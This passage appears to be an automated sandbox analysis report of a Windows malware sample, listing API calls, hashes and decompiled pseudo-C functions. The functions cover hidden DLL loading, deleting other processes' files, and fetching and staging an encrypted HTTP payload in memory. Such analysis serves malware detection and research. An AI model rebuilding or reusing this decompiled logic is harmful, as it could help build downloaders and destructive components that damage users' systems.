0x0040475e
0x00404759
0x0040477d
0x0040477d
0x0040477d
0x00000000
0x0040477d
0x0040472b
0x0040472f
0x00000000
0x00000000
0x00404731
0x00404734
0x00000000
0x00000000
0x0040473f
0x00404744
0x00404746
0x00000000
0x00000000
0x0040474a
0x00000000
0x0040474a
0x00000000
0x0040477e
0x004046f9
0x00404700
0x00404707
0x0040470a
0x00000000
0x00000000
0x00000000
0x0040470a
0x00000000
0x00404783
0x00404783
0x00404783
0x004047a1
0x004047a5
0x004047b1
0x004047b1

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,00000004,?,?,?,?,?), ref: 004045F2
DecryptMessage.SECUR32(?,?,00000000,00000000,?,?,00000004,?,?,00000004,?,?,?,00000000,00000000,?), ref: 004046DB

Memory Dump Source

Source File: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: AllocDecryptMessageVirtual
String ID:
API String ID: 2757997683-0
Opcode ID: 9c1034e736afe9bd04a7ae1292a8672294028fbc275a0fdf586c10c311b5fd53
Instruction ID: 6054cd12bd7a1c9eb0d3f2c829b11d2235dc207f7a089d3780c5f6c356e1957b
Opcode Fuzzy Hash: 9c1034e736afe9bd04a7ae1292a8672294028fbc275a0fdf586c10c311b5fd53
Instruction Fuzzy Hash: B7511BB1800208EBDF20DFD5C845BEEBBB8FF45308F10892AE651762D0D7799A54DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00406DF2 Relevance: 2.6, Strings: 2, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00406DF2(intOrPtr _a4) {
				char* _v8;
				short _v10;
				char _v12;
				char _v16;
				char _v268;
				char _v272;
				char _v1296;
				intOrPtr _t31;
				intOrPtr _t34;
				short _t37;
				intOrPtr _t45;
				void* _t48;
				char* _t49;
				intOrPtr* _t50;
				intOrPtr* _t51;
				void* _t52;

				E004066D2( &_v1296,  &_v16 - _t52);
				E004066E9(_a4, 0xffffffff,  &_v1296);
				_t49 =  &_v1296;
				_t31 =  *((intOrPtr*)( *[fs:0x30] + 0xc));
				_t51 =  *((intOrPtr*)(_t31 + 0xc));
				_t45 =  *((intOrPtr*)(_t31 + 0x10));
				do {
					_t51 =  *_t51;
					_t50 =  *((intOrPtr*)(_t51 + 0x30));
					_t48 = 0;
					while( *((char*)(_t48 + _t49)) != 0) {
						_t34 =  *_t50;
						if(_t34 < 0x41 || _t34 > 0x5a) {
							__eflags = _t34 - 0x61;
							if(__eflags >= 0) {
								__eflags = _t34 - 0x7a;
								if(__eflags <= 0) {
									_t34 = _t34 - 0x20;
									__eflags = _t34;
								}
							}
						} else {
							_t34 = _t34 + 0x20;
						}
						if( *((intOrPtr*)(_t48 + _t49)) == _t34 ||  *((intOrPtr*)(_t48 + _t49)) == _t34) {
							_t50 = _t50 + 2;
							_t48 = _t48 + 1;
							continue;
						} else {
							goto L11;
						}
					}
					return  *((intOrPtr*)(_t51 + 0x18));
					L11:
					_t60 = _t51 - _t45;
				} while (_t51 != _t45);
				_t37 = E004068D9(_t60,  &_v1296,  &_v268);
				_v12 = _t37;
				_v10 = _t37;
				_v10 = _v10 + 2;
				_v8 =  &_v268;
				_v272 = 0;
				_push( &_v272);
				_push( &_v12);
				_push(0);
				_push(0);
				 *((intOrPtr*)(E00406EE2(_t60, E00406DF2("ntdll.dll"), "LdrLoadDll")))();
				return _v272;
			}

0x00406e09
0x00406e1a
0x00406e1f
0x00406e2b
0x00406e2e
0x00406e31
0x00406e34
0x00406e34
0x00406e36
0x00406e39
0x00406e3b
0x00406e47
0x00406e4b
0x00406e56
0x00406e58
0x00406e5a
0x00406e5c
0x00406e5e
0x00406e5e
0x00406e5e
0x00406e5c
0x00406e51
0x00406e51
0x00406e51
0x00406e64
0x00406e6d
0x00406e70
0x00000000
0x00000000
0x00000000
0x00000000
0x00406e64
0x00000000
0x00406e6b
0x00406e73
0x00406e73
0x00406e85
0x00406e8a
0x00406e8e
0x00406e92
0x00406e9d
0x00406ea0
0x00406eb0
0x00406eb4
0x00406eb5
0x00406eb7
0x00406ece
0x00000000

Strings

LdrLoadDll, xrefs: 00406EC3
ntdll.dll, xrefs: 00406EB9

Memory Dump Source

Source File: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID:
String ID: LdrLoadDll$ntdll.dll
API String ID: 0-2564759627
Opcode ID: 26199cb8ddb39cfad843a8b26eb0063365d615b1915ceb47f07636977a66487d
Instruction ID: 0121abc35d73cd05cb0d05474da0aa42d564b0e020fccb72fa3831c3f1767a3f
Opcode Fuzzy Hash: 26199cb8ddb39cfad843a8b26eb0063365d615b1915ceb47f07636977a66487d
Instruction Fuzzy Hash: 5221097A900318ABCB20DF54CC44BCAB3B8EF05310F1145BBE442B72C1D738AA528F99

Uniqueness

Uniqueness Score: -1.00%

Function 006742B5 Relevance: 1.6, APIs: 1, Instructions: 98encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 006743CC

Memory Dump Source

Source File: 00000000.00000002.245054120.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 2236af22a45584ce20d6dce83dc1bdfde52e0fb1420d8add2f05910be02f2cee
Instruction ID: a8e9fd06a87e8a03cc0ffe297444913d48bd9bbf8338531b082c0a0554d1495d
Opcode Fuzzy Hash: 2236af22a45584ce20d6dce83dc1bdfde52e0fb1420d8add2f05910be02f2cee
Instruction Fuzzy Hash: 7D31A4329403196AEF21DA61CC4AFEE776EAB44700F1440A9BA5CE65D2DF709E808B65

Uniqueness

Uniqueness Score: -1.00%

Function 00671FBD Relevance: 1.6, APIs: 1, Instructions: 77encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00671758
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 0067178C
CryptReleaseContext.ADVAPI32(?,00000000,?,00000000,0000000E,?,00000000,0000000C), ref: 00672905

Memory Dump Source

Source File: 00000000.00000002.245054120.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: Crypt$BinaryString$ContextRelease
String ID:
API String ID: 1374739491-0
Opcode ID: 25e946fca50f19ba1329ffb1d3c3208f1283f46c6d723c2b59f9f9b584dc330a
Instruction ID: ea604a0d99e4a413a9e391fd72ad5221095e3a7072d2fdbf05dd1e4ffc51618c
Opcode Fuzzy Hash: 25e946fca50f19ba1329ffb1d3c3208f1283f46c6d723c2b59f9f9b584dc330a
Instruction Fuzzy Hash: 16212171D44208AADF61ABF0CC0ABDD76BAEF09704F60C099F50CB5181CB7A9E549F29

Uniqueness

Uniqueness Score: -1.00%

Function 00406A32 Relevance: 1.3, Strings: 1, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00406A32(signed int __eax, signed int _a4) {
				signed int _t8;
				void* _t13;
				signed int _t15;

				asm("rdtsc");
				_push(_t13);
				_push(_t15);
				asm("rcr eax, 0x10");
				_t8 = 0x3cfb5543 + __eax * 0x1e7319 + _t13;
				if(_t15 != 0) {
					_t8 = _t8 * _t15;
				}
				return _t8 * _a4 >> 0x20;
			}

0x00406a32
0x00406a38
0x00406a39
0x00406a47
0x00406a4a
0x00406a4e
0x00406a50
0x00406a50
0x00406a60

Strings

orvsmwx, xrefs: 00406A3A

Memory Dump Source

Source File: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID:
String ID: orvsmwx
API String ID: 0-3620674537
Opcode ID: 1f89aef79ef7b5cb9e09e9803b4407ea6ad23b4a41ae40ae392cbca8b0574f67
Instruction ID: e20836bcb2183fd6e4bc37302a764bbc3301637dd8970ebb8ab0e0739f3880af
Opcode Fuzzy Hash: 1f89aef79ef7b5cb9e09e9803b4407ea6ad23b4a41ae40ae392cbca8b0574f67
Instruction Fuzzy Hash: 20D05B7B7041062BB70C904FAD078A7665FC1D2364318D437F501D4295F551DA450074

Uniqueness

Uniqueness Score: -1.00%

Function 00677042 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.245054120.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4d22340c16e90843450b287e841b6e9c91b496de2465bcebbb5643a28184e08
Instruction ID: 9c23a00ca2d77476be830bb55308d4bf8d12c03846474f55ae76d27d4d44849a
Opcode Fuzzy Hash: c4d22340c16e90843450b287e841b6e9c91b496de2465bcebbb5643a28184e08
Instruction Fuzzy Hash: 4521F6B6908218AFCB20DF64CC40FCDB7BAEF06310F14C5DAE559A3241D334AA868F65

Uniqueness

Uniqueness Score: -1.00%

Function 00670D90 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.245054120.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da1566a2f6af9372ef5ff0064129cc8c7bd33331f23317b37220a35c5510ad97
Instruction ID: 67b50d6cdb13576357ce01fc2bf86b95e8a12a14f6060b42d624fe98c00f9c5b
Opcode Fuzzy Hash: da1566a2f6af9372ef5ff0064129cc8c7bd33331f23317b37220a35c5510ad97
Instruction Fuzzy Hash: 7CF0AF76A00604DFEB21CFA4C805BEE73BAEF84315F1481A5D80AD7245D330A9428B60

Uniqueness

Uniqueness Score: -1.00%

Function 00412BE0 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 134synchronizationtimeCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00412C3A
SleepEx.KERNEL32(00000000,00000000), ref: 00412C42
SetSystemTimeAdjustment.KERNEL32(00000000,00000000), ref: 00412C7A
PostQueuedCompletionStatus.KERNEL32(00000000,00000000,00000000,?), ref: 00412CA2
CreateMutexW.KERNEL32(00000000,00000000,00000000), ref: 00412CAB
SetDefaultCommConfigW.KERNEL32(00000000,?,00000000), ref: 00412CC9
GetTapeParameters.KERNEL32(00000000,00000000,?,?), ref: 00412CEE
GetTapeStatus.KERNEL32(00000000), ref: 00412CF5
SetTapeParameters.KERNEL32(00000000,00000000,00000000), ref: 00412CFE
WriteTapemark.KERNEL32(00000000,00000000,00000000,00000000), ref: 00412D08
DeleteVolumeMountPointA.KERNEL32(00000000), ref: 00412D0F

Strings

, xrefs: 00412C1E

Memory Dump Source

Source File: 00000000.00000002.244956693.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_p9CvI6kq7d.jbxd

Similarity

API ID: Tape$ParametersStatus$AdjustmentCommCompletionConfigCreateDefaultDeleteMountMutexObjectPointPostQueuedSingleSleepSystemTapemarkTimeVolumeWaitWrite
String ID:
API String ID: 3740700622-3916222277
Opcode ID: 58f5d767bfbc9a25883ef4e1ee60c6680286b8df8e6a18555e805fe0609adca4
Instruction ID: effeb91f464e61448a5f8e6ab60bc9e60fa6e9a9060f80dc0d2cc37ccf301f48
Opcode Fuzzy Hash: 58f5d767bfbc9a25883ef4e1ee60c6680286b8df8e6a18555e805fe0609adca4
Instruction Fuzzy Hash: 49511D71902118EFDB10CFAADD489DFBFB8EF89355B108035E209E7250D7749A45CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405DB5 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 105
sleepfilethreadCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00405DB5(void* __eflags, struct HWND__* _a4) {
				char _v16;
				char _v260;
				char _v516;
				long _v520;
				char _v648;
				char* _v652;
				intOrPtr _v656;
				void* _v660;
				void* _v664;
				int _t35;
				void* _t38;
				void* _t47;
				CHAR* _t48;
				int _t50;
				void* _t57;
				void* _t58;
				void* _t60;

				E004066D2( &_v664,  &_v16 - _t60);
				GetWindowThreadProcessId(_a4,  &_v520);
				if(_v520 != GetCurrentProcessId()) {
					GetClassNameA(_a4,  &_v260, 0x100);
					_t35 = GetWindowTextA(_a4,  &_v516, 0x100);
					_t63 = _t35;
					if(_t35 != 0) {
						_t38 = E00406926(_t63, "win32app",  &_v260);
						_t64 = _t38;
						if(_t38 != 0 && E00406926(_t64, "Microsoft",  &_v516) != 0) {
							_t57 = 0x80;
							do {
								_t40 = E00406A32(_t40, 0x80);
								asm("stosb");
								_t57 = _t57 - 1;
							} while (_t57 != 0);
							_v660 = E00406A32(_t40, 0xee6b2800);
							_v656 = E00406A32(_t41, 0x80) + 1;
							_v652 =  &_v648;
							SendMessageA(_a4, 0x4a, 0,  &_v660);
							_t47 = OpenProcess(0x410, 0, _v520);
							if(_t47 != 0) {
								_v664 = _t47;
								_push(0x100);
								_t48 =  &_v260;
								_push(_t48);
								_push(0);
								_push(_v664);
								L00407214();
								if(_t48 != 0) {
									Sleep(0x3e8);
									_t50 = DeleteFileA( &_v260);
									_t69 = _t50;
									if(_t50 != 0) {
										_t58 = E0040690B(_t69,  &_v260);
										while(1) {
											_t58 = _t58 - 1;
											if(_t58 == 0) {
												goto L13;
											}
											if( *[ss:ecx+ebp-0x100] != 0x5c) {
												continue;
											} else {
												 *[ss:ecx+ebp-0x100] = 0;
												RemoveDirectoryA( &_v260);
											}
											goto L13;
										}
									}
								}
							}
						}
					}
				}
				L13:
				return 1;
			}

0x00405dcc
0x00405ddb
0x00405deb
0x00405e00
0x00405e14
0x00405e19
0x00405e1b
0x00405e2d
0x00405e32
0x00405e34
0x00405e59
0x00405e5e
0x00405e63
0x00405e68
0x00405e69
0x00405e69
0x00405e76
0x00405e87
0x00405e93
0x00405ea7
0x00405eb9
0x00405ec0
0x00405ec2
0x00405ec8
0x00405ecd
0x00405ed3
0x00405ed4
0x00405ed6
0x00405edc
0x00405ee3
0x00405eea
0x00405ef6
0x00405efb
0x00405efd
0x00405f0b
0x00405f0d
0x00405f0d
0x00405f0e
0x00000000
0x00000000
0x00405f19
0x00000000
0x00405f1b
0x00405f1b
0x00405f2b
0x00405f2b
0x00000000
0x00405f19
0x00405f0d
0x00405efd
0x00405ee3
0x00405ec0
0x00405e34
0x00405e1b
0x00405f30
0x00405f39

APIs

GetWindowThreadProcessId.USER32(?,?), ref: 00405DDB
GetCurrentProcessId.KERNEL32(?,?), ref: 00405DE0
GetClassNameA.USER32(?,?,00000100), ref: 00405E00
GetWindowTextA.USER32 ref: 00405E14
SendMessageA.USER32 ref: 00405EA7
OpenProcess.KERNEL32(00000410,00000000,?,?,0000004A,00000000,?,00000080,EE6B2800,00000080,Microsoft,?,win32app,?,?,?), ref: 00405EB9
GetModuleFileNameExA.PSAPI(?,00000000,?,00000100,00000410,00000000,?,?,0000004A,00000000,?,00000080,EE6B2800,00000080,Microsoft,?), ref: 00405EDC
Sleep.KERNEL32(000003E8,?,00000000,?,00000100,00000410,00000000,?,?,0000004A,00000000,?,00000080,EE6B2800,00000080,Microsoft), ref: 00405EEA
DeleteFileA.KERNEL32(?,000003E8,?,00000000,?,00000100,00000410,00000000,?,?,0000004A,00000000,?,00000080,EE6B2800,00000080), ref: 00405EF6
RemoveDirectoryA.KERNEL32(00000000), ref: 00405F2B

Strings

Microsoft, xrefs: 00405E41
win32app, xrefs: 00405E28

Memory Dump Source

Source File: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: Process$FileNameWindow$ClassCurrentDeleteDirectoryMessageModuleOpenRemoveSendSleepTextThread
String ID: Microsoft$win32app
API String ID: 934796723-2644191155
Opcode ID: 766082f414c41e68ca2501deaea97d83371bab73ddcfb4c1a5012634102fb8f0
Instruction ID: 1cbef3aabf6f1d8fd4f8c9e77f2fd98a24b0206eb3abaf6762db6ad26ae4f9ce
Opcode Fuzzy Hash: 766082f414c41e68ca2501deaea97d83371bab73ddcfb4c1a5012634102fb8f0
Instruction Fuzzy Hash: 2E318471A102196AEB21AA61CC46FEB776CEB14304F4040BBB644F51C1EFB89E858F69

Uniqueness

Uniqueness Score: -1.00%

Function 00674C6A Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 333networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(?,8004667E,00000001), ref: 00674E2F
connect.WS2_32(?,00000002,00000010), ref: 00674E4B
connect.WS2_32(?,00000017,0000001C), ref: 00674E5B
select.WS2_32(00000000,00000000,?,00000000,?), ref: 00674E86
ioctlsocket.WS2_32(?,8004667E,00000000), ref: 00674EA9
WSAIoctl.WS2_32(?,98000004,00000001,0000000C,00000000,00000000,?,00000000,00000000), ref: 00674EEC
select.WS2_32(00000000,?,00000000,00000000,?), ref: 00674FA4

Strings

`, xrefs: 00674EB8

Memory Dump Source

Source File: 00000000.00000002.245054120.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: connectioctlsocketselect$Ioctl
String ID: `
API String ID: 2054606664-1850852036
Opcode ID: 60eeeceaeafabe558cf777d0f0e4b2f0a43e0808ebe5ec19b7639d7fdc3063aa
Instruction ID: ff709e26bdab810ab989def9f9fe54077d99b6b191fdc7e4a159d1b798d99bdc
Opcode Fuzzy Hash: 60eeeceaeafabe558cf777d0f0e4b2f0a43e0808ebe5ec19b7639d7fdc3063aa
Instruction Fuzzy Hash: 93D16071940708BAEF21DBE0CC46FEEBBBDAF08700F108459F659B6191DB71AA44CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00402D52 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 207
memorynetworkCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00402D52(signed int __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v12;
				char _v16;
				char _v20;
				void* _v24;
				char _v48;
				char _v56;
				char _v60;
				char _v64;
				long _v68;
				char _v72;
				char _v76;
				char _v84;
				char _v96;
				char _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				char _v112;
				char _v116;
				char _v1140;
				char _v1144;
				long _v1148;
				void* _t86;
				void* _t100;
				char* _t120;
				void* _t130;
				long _t137;
				signed int _t139;
				char _t140;
				intOrPtr* _t141;
				void* _t142;

				_t139 = __edx;
				E004066D2( &_v1148,  &_v16 - _t142);
				E004048E1(_a16);
				L004071F6();
				E0040685B(_a4,  &_v1140);
				_t86 = E00401168(_t139,  &_v1140, _a8,  &_v12,  &_v20,  &_v100,  &_v24,  &_v48,  &_v56,  &_v60);
				_t145 = _t86;
				if(_t86 == 0) {
					L8:
					E00406517( &_v56,  &_v56, 0, 2);
					E004064D6( &_v48,  &_v48, 0, 6);
					__eflags = _v24;
					if(_v24 != 0) {
						_push(0);
						_push(_v24);
						 *((intOrPtr*)(E00406EE2(__eflags, E00406DF2("bcrypt.dll"), "BCryptCloseAlgorithmProvider")))();
					}
					E00406474( &_v12,  &_v20, _v100);
					E004048E1( &_v64);
					__eflags = _v1148;
					if(_v1148 == 0) {
						L18:
						E0040664B( &_v1144, _a16, 4);
						return _v1148;
					} else {
						_t141 = _v1144;
						_t137 = _v1148;
						while(1) {
							__eflags = _t137 - 4;
							if(_t137 < 4) {
								goto L18;
							}
							__eflags =  *_t141 - 0xa0d0a0d;
							if( *_t141 != 0xa0d0a0d) {
								L16:
								_t141 = _t141 + 1;
								_t137 = _t137 - 1;
								__eflags = _t137;
								continue;
							}
							_t137 = _t137 - 4;
							_t141 = _t141 + 4;
							__eflags = _t137;
							if(_t137 <= 0) {
								goto L16;
							}
							_v1148 = _t137;
							_t100 = VirtualAlloc(0, _v1148, 0x3000, 4);
							__eflags = _t100;
							if(_t100 != 0) {
								_t140 = _t100;
								E0040664B(_t141, _t140, _v1148);
								E004048E1( &_v1144);
								_v1144 = _t140;
							}
							goto L18;
						}
						goto L18;
					}
				}
				_v72 = 2;
				_v68 = 4;
				_v112 = 1;
				_v108 = 0x2710;
				_v104 = 0x2710;
				_push(0);
				_push(0);
				_push( &_v116);
				_push(0);
				_push(0);
				_push(0xc);
				_push( &_v112);
				_push(0x98000004);
				_push(_v100);
				L004071A2();
				E0040419A(_t145, _v100,  &_v12, 0,  &_v1140, wsprintfA( &_v1140, "GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0\r\nConnection: close\r\n\r\n", _a12, _a4), _v24,  &_v48,  &_v56, 2,  &_v72, _v60);
				while(1) {
					E00406698(_v100, 0,  &_v96, 0xa, 0);
					_push( &_v84);
					_push(0);
					_push(0);
					_t120 =  &_v96;
					_push(_t120);
					_push(0);
					L0040717E();
					if(_t120 <= 0) {
						goto L8;
					}
					if(_t120 == 0) {
						L7:
						continue;
					}
					_t130 = E004042C8(_v100,  &_v12,  &_v64, _v24,  &_v48,  &_v56,  &_v68,  &_v72,  &_v76, _v60, 0);
					if(_t130 == 0) {
						goto L8;
					}
					if(_t130 < 0) {
						continue;
					}
					_v1148 = _v1148 + _t130;
					E00404842( &_v1144, _v1148, _v64, _t130);
					E004048E1( &_v64);
					goto L7;
				}
				goto L8;
			}

0x00402d52
0x00402d69
0x00402d71
0x00402d76
0x00402d85
0x00402db0
0x00402db5
0x00402db7
0x00402ed1
0x00402ed9
0x00402ee6
0x00402eeb
0x00402eef
0x00402ef1
0x00402ef3
0x00402f0b
0x00402f0b
0x00402f18
0x00402f21
0x00402f26
0x00402f2d
0x00402f98
0x00402fa4
0x00402fb3
0x00402f2f
0x00402f2f
0x00402f35
0x00402f93
0x00402f93
0x00402f96
0x00000000
0x00000000
0x00402f3d
0x00402f43
0x00402f91
0x00402f91
0x00402f92
0x00402f92
0x00000000
0x00402f92
0x00402f45
0x00402f48
0x00402f4b
0x00402f4e
0x00000000
0x00000000
0x00402f50
0x00402f6a
0x00402f6a
0x00402f6c
0x00402f6e
0x00402f78
0x00402f84
0x00402f89
0x00402f89
0x00000000
0x00402f6c
0x00000000
0x00402f93
0x00402f2d
0x00402dbd
0x00402dc4
0x00402dcb
0x00402dd2
0x00402dd9
0x00402de0
0x00402de2
0x00402de7
0x00402de8
0x00402dea
0x00402dec
0x00402df1
0x00402df2
0x00402df7
0x00402dfa
0x00402e3e
0x00402e43
0x00402e50
0x00402e58
0x00402e59
0x00402e5b
0x00402e5d
0x00402e60
0x00402e61
0x00402e63
0x00402e6b
0x00000000
0x00000000
0x00402e6f
0x00402ecc
0x00000000
0x00402ecc
0x00402e9d
0x00402e9f
0x00000000
0x00000000
0x00402ea4
0x00000000
0x00000000
0x00402eac
0x00402ebe
0x00402ec7
0x00000000
0x00402ec7
0x00000000

APIs

Part of subcall function 004048E1: VirtualFree.KERNEL32(?,00000000,00008000,?,?,000000C7,?,00405802,?,?,?,?,?,?,00000000,00000006), ref: 004048F8

InitSecurityInterfaceA.SECUR32(?,?,?,?,?,?), ref: 00402D76

Part of subcall function 00401168: CryptAcquireContextA.ADVAPI32(?,00000000,Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider,0000000D,F0000000,?,?,?,?,?), ref: 00401196

WSAIoctl.WS2_32(?,98000004,?,0000000C,00000000,00000000,?,00000000,00000000), ref: 00402DFA
wsprintfA.USER32 ref: 00402E25

Part of subcall function 0040419A: WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,00000003), ref: 004041C1
Part of subcall function 0040419A: SetEvent.KERNEL32(?,?,?,00000202,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004042BC

select.WSOCK32(00000000,?,00000000,00000000,?,?,00000000,?,0000000A,00000000,?,?,00000000,?,00000000), ref: 00402E63
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,?,?,?,?,00000000,00000006,?,00000000,00000002,?,?), ref: 00402F65

Strings

BCryptCloseAlgorithmProvider, xrefs: 00402F00
GET %s HTTP/1.0Host: %sUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close, xrefs: 00402E19
bcrypt.dll, xrefs: 00402EF6

Memory Dump Source

Source File: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: Virtual$AcquireAllocContextCryptEventFreeInitInterfaceIoctlObjectSecuritySingleWaitselectwsprintf
String ID: BCryptCloseAlgorithmProvider$GET %s HTTP/1.0Host: %sUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close$bcrypt.dll
API String ID: 2317253078-3296554225
Opcode ID: b141543811ac2fdb499663156c98a7eba23e1efa0c185121b3bf43e13e6cfc9e
Instruction ID: 5172cb2c25526707d216cc97dd3cd0b60c6fea09f2dad06a88325455df19caa3
Opcode Fuzzy Hash: b141543811ac2fdb499663156c98a7eba23e1efa0c185121b3bf43e13e6cfc9e
Instruction Fuzzy Hash: 39714BB2D4021DBAEF11EAE0CD49FEE777CEB04304F10046AB609F60C1D779AA548B69

Uniqueness

Uniqueness Score: -1.00%

Function 00402765 Relevance: 13.6, APIs: 9, Instructions: 103
networkCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E00402765(void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, short _a12, intOrPtr _a16) {
				char _v8;
				char _v16;
				char _v28;
				intOrPtr _v40;
				short _v42;
				char _v44;
				char _v300;
				char _v304;
				char _v308;
				char _t34;
				char* _t44;
				short _t46;
				char* _t52;
				void* _t57;
				void* _t58;

				_t58 = __eflags;
				_t34 = E004066D2( &_v308,  &_v16 - _t57);
				_push(6);
				_push(1);
				_push(2);
				L00407196();
				_v8 = _t34;
				E0040664B( &_v8, _a4, 4);
				_v304 = 1;
				_push(4);
				_push( &_v304);
				_push(1);
				_push(6);
				_push(_v8);
				L0040718A();
				E004066E9(_a8, 0xffffffff,  &_v300);
				if(E004065E4(_t58,  &_v300) == 0) {
					_t44 = E00406558(__eflags,  &_v300, 2);
					_push(_t44);
					L0040716C();
				} else {
					_t44 =  &_v300;
				}
				_push(_t44);
				L00407166();
				if(_t44 != 0) {
					_v40 = _t44;
					_t46 = _a12;
					if(_t46 > 0x10000) {
						_t46 = E00406663(_t46);
					}
					_push(_t46);
					L00407160();
					_v42 = _t46;
					_v44 = 2;
					_v304 = 1;
					_push( &_v304);
					_push(0x8004667e);
					_push(_v8);
					L00407172();
					_push(0x10);
					_push( &_v44);
					_push(_v8);
					L0040715A();
					E00406698(_v8, 0,  &_v28, _a16, 0);
					_push( &_v16);
					_push(0);
					_t52 =  &_v28;
					_push(_t52);
					_push(0);
					_push(0);
					L0040717E();
					if(_t52 == 1) {
						_v304 = 0;
						_push( &_v304);
						_push(0x8004667e);
						_push(_v8);
						L00407172();
						_v308 = 1;
					}
				}
				return _v308;
			}

0x00402765
0x0040277c
0x00402781
0x00402783
0x00402785
0x00402787
0x0040278c
0x00402798
0x0040279d
0x004027a7
0x004027af
0x004027b0
0x004027b2
0x004027b4
0x004027b7
0x004027c8
0x004027db
0x004027ee
0x004027f3
0x004027f4
0x004027dd
0x004027dd
0x004027dd
0x004027f9
0x004027fa
0x00402801
0x00402807
0x0040280a
0x00402812
0x00402815
0x00402815
0x0040281a
0x0040281b
0x00402820
0x00402824
0x0040282a
0x0040283a
0x0040283b
0x00402840
0x00402843
0x00402848
0x0040284d
0x0040284e
0x00402851
0x00402864
0x0040286c
0x0040286d
0x0040286f
0x00402872
0x00402873
0x00402875
0x00402877
0x0040287f
0x00402881
0x00402891
0x00402892
0x00402897
0x0040289a
0x0040289f
0x0040289f
0x0040287f
0x004028b3

APIs

socket.WSOCK32(00000002,00000001,00000006,?,?,?,?,00000003), ref: 00402787
setsockopt.WSOCK32(?,00000006,00000001,?,00000004,?,?,00000004,00000002,00000001,00000006,?,?,?,?,00000003), ref: 004027B7
inet_ntoa.WSOCK32(00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?,00000004,?,?,00000004,00000002), ref: 004027F4
inet_addr.WSOCK32(00000000,00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?,00000004,?,?,00000004), ref: 004027FA
